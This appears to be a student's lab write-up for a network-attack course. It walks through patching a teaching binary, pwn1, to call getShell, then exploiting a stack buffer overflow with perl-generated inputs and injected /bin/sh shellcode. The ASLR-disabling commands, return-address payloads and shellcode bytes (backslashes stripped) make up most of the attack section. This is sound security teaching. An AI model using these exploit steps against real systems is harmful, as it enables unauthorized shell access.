zoukankan      html  css  js  c++  java
  • 2018-2019-2 20165209 《网络对抗技术》Exp1:PC平台逆向破解

    2018-2019-2 20165209 《网络对抗技术》Exp1:PC平台逆向破解

    1 逆向及Bof基础实践说明

    1.1 实践目标

    • 本次实践的对象是一个名为pwn1的linux可执行文件。

    • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    • 注入一个自己制作的shellcode并运行这段shellcode。

    1.2 基础知识

    • 常用的Linux基本操作

      • objdump -d:从objfile中反汇编那些特定指令机器码的section。
      • perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。
      • xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。
      • ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。
      • |:管道,将前者的输出作为后者的输入。
      • :输入输出重定向符,将前者输出的内容输入到后者中。

    • NOP, JNE, JE, JMP, CMP汇编指令的机器码:

      • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
      • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
      • JE:条件转移指令,如果相等则跳转。(机器码:74)
      • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
      • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    2 直接修改程序机器指令,改变程序执行流程

    • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

    • 学习目标:理解可执行文件与机器指令

    • 进阶:掌握ELF文件格式,掌握动态技术

    1. 使用objdump -d pwn1 | more将pwn1反汇编,得到以下代码(只展示部分核心代码):

    1. 修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
     具体操作:   
        1. vi pwn1进入命令模式   
        2. 输入:%!xxd将显示模式切换为十六进制     
        3. 在底行模式输入/e8d7定位需要修改的地方,并确认   
        4. 进入插入模式,修改d7为c3   
        5. 输入:%!xxd -r将十六进制转换为原格式   
        6. 使用:wq保存并退出   
    
    

    1. 再反汇编看一下,call指令是否正确调用getShell

    1. 输入./pwn1运行,可以得到shell提示符#

    3 通过构造输入参数,造成BOF攻击,改变程序执行流

    • 知识要求:堆栈结构,返回地址

    • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取

    • 进阶:掌握ELF文件格式,掌握动态技术

    3.1 反汇编,了解程序的基本功能

    • 利用foo()函数中buffer漏洞,输入足够长的字符串能够造成缓存区溢出,使其覆盖到返回地址。

    • 输入足够长的字符串,把原来的返回地址覆盖成现在getshell()的起始地址。

    3.2 确认输入字符串哪几个字符会覆盖到返回地址

    具体操作:
    
       1. 输入gdb pwd1_2进行调试
       2. 输入r运行程序
       3. 输入字符串111111112222222233333334444444412345678发现已经造成溢出
       4. 输入info r 查看eip的值,发现输入的1234被覆盖到堆栈上的返回地址
    
    

    • 只要把1234这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

    3.3 确认用什么值来覆盖返回地址

    • 正确应用输入 11111111222222223333333344444444x7dx84x04x08

    3.4 构造输入字符串

    • 由为我们没法通过键盘输入x7dx84x04x08这样的16进制值,所以先生成包括这样字符串的一个文件。x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
    具体步骤:
    
       1. 输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
       2. 输入xxd input 查看input文件是否符合预期。
       3. 然后将input的输入,通过管道符“|”,作为pwn1_2的输入。即输入 (cat input; cat) | ./pwn1_2 input的输入
       
    

    4. 注入Shellcode并执行

    4.1 准备一段Shellcode

    • shellcode就是一段机器指令(code)
      • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
      • 所以这段机器指令被称为shellcode。
      • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

    4.2 准备工作

    • 修改些设置。
    具体步骤:
    
       1. apt-get install execstack //安装execstack命令
       2. execstack -s pwn1    //设置堆栈可执行
       3. execstack -q pwn1    //查询文件的堆栈是否可执行
       4. more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 
       5. echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
       6. more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 
    
    

    4.3 构造要注入的payload。

    • Linux下有两种基本构造攻击buf的方法:

      • retaddr+nop+shellcode
      • nop+shellcode+retaddr。
    • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。

    • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

    • 我们结构为:nops+shellcode+retaddr。

    具体步骤:
    
    1. 输入 perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    
    上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
    2. 输入 (cat input_shellcode;cat) | ./pwn1_3 
    3. 再开另外一个终端,用gdb来调试pwn1这个进程,输入 ps -ef | grep pwn1_3 命令找到pwn1_3的进程号是:33282
    4. 用 attach 33323 命令启动gdb调试这个进程
    5. 通过设置断点输入 disassemble foo 来查看注入buf的内存地址
    6. 输入 break *0x080484ae 设置断点,输入 c 继续运行,同时在pwn1进程正在运行的终端敲回车,使其继续执行。
    7. 再返回调试终端,使用info r esp命令查找地址
    8. 输入 x/16x 0xffffd2fc 命令查看其存放内容0x01020304 就是返回地址的位置。根据我们构造的input_shellcode可知地址应为 0xffffd300 
    9. 输入 perl -e 'print "A" x 32;print "x00xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode 将之前的x4x3x2x1改为这个地址
    10. 输入 (cat input_shellcode;cat) | ./pwn1_3 执行程序,攻击成功! 
    
    

    实验中遇到的问题及解决过程

    • 问题:运行pwn1权限不够

    • 解决:输入chmod +x pwn1后再运行即可

    实验感想

    • 第一次在对源文件进行反汇编之后,更改其中的内容,并且追踪寄存器地址。虽然之前有了解过缓存区溢出攻击,但是这是第一次实践,也让我觉得很有意思。指导再详细,还是需要实践才能真正的掌握,希望以后能更好的学习这门课程。

    • 什么是漏洞?漏洞有什么危害?

      • 缓冲区溢出就是输入的内容超过分配的缓冲区大小,溢出的内容没有被立刻检查,从而破坏堆栈覆盖原始数据,使得可以进行未授权的操作。
      • 会导致程序运行失败、系统关机、重新启动,或者执行攻击者的指令。
  • 相关阅读:
    English 2
    速算24点
    心理学1
    从微服务到函数式编程
    034 01 Android 零基础入门 01 Java基础语法 04 Java流程控制之选择结构 01 流程控制概述
    033 01 Android 零基础入门 01 Java基础语法 03 Java运算符 13 运算符和表达式知识点总结
    032 01 Android 零基础入门 01 Java基础语法 03 Java运算符 12 运算符和if-else条件语句的综合案例——闰年问题
    031 01 Android 零基础入门 01 Java基础语法 03 Java运算符 11 运算符的优先级
    030 01 Android 零基础入门 01 Java基础语法 03 Java运算符 10 条件运算符
    029 01 Android 零基础入门 01 Java基础语法 03 Java运算符 09 逻辑“非”运算符
  • 原文地址:https://www.cnblogs.com/tutu233/p/10521832.html
Copyright © 2011-2022 走看看